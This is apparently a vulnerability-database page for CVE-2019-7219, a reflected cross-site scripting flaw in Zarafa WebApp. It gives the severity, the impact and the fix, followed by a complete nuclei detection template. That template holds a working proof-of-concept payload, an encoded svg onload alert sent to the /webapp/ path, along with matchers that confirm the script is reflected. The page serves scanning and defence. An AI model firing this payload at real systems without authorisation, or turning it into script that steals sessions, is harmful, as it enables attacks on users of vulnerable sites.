HexBrain

Browse / CVEs / CVE-2019-7219

CVE-2019-7219· zarafa / webaccess· CWE-79

Zarafa WebApp <=2.0.1.47791 - Cross-Site Scripting

mediumseverity
6.1CVSS score
5.2%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

Zarafa WebApp 2.0.1.47791 and earlier contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

This is a discontinued product. The issue was fixed in later versions. However, some former Zarafa WebApp customers use the related Kopano product instead.

How to confirm it

Send: GET {{BaseURL}}/webapp/?fccc%27\%22%3E%3Csvg/onload=alert(/xss/)%3E
Positive when: contains "<svg/onload=alert(/xss/)>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-7219 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-7219

info:
  name: Zarafa WebApp <=2.0.1.47791 - Cross-Site Scripting
  author: pdteam
  severity: medium
  description: |
    Zarafa WebApp 2.0.1.47791 and earlier contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: This is a discontinued product. The issue was fixed in later versions. However, some former Zarafa WebApp customers use the related Kopano product instead.
  reference:
    - https://github.com/verifysecurity/CVE-2019-7219
    - https://stash.kopano.io/repos?visibility=public
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7219
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/merlinepedra25/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-7219
    cwe-id: CWE-79
    epss-score: 0.05218
    epss-percentile: 0.92573
    cpe: cpe:2.3:a:zarafa:webaccess:7.2.0-48204:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zarafa
    product: webaccess
  tags: cve,cve2019,zarafa,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webapp/?fccc%27\%22%3E%3Csvg/onload=alert(/xss/)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(/xss/)>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from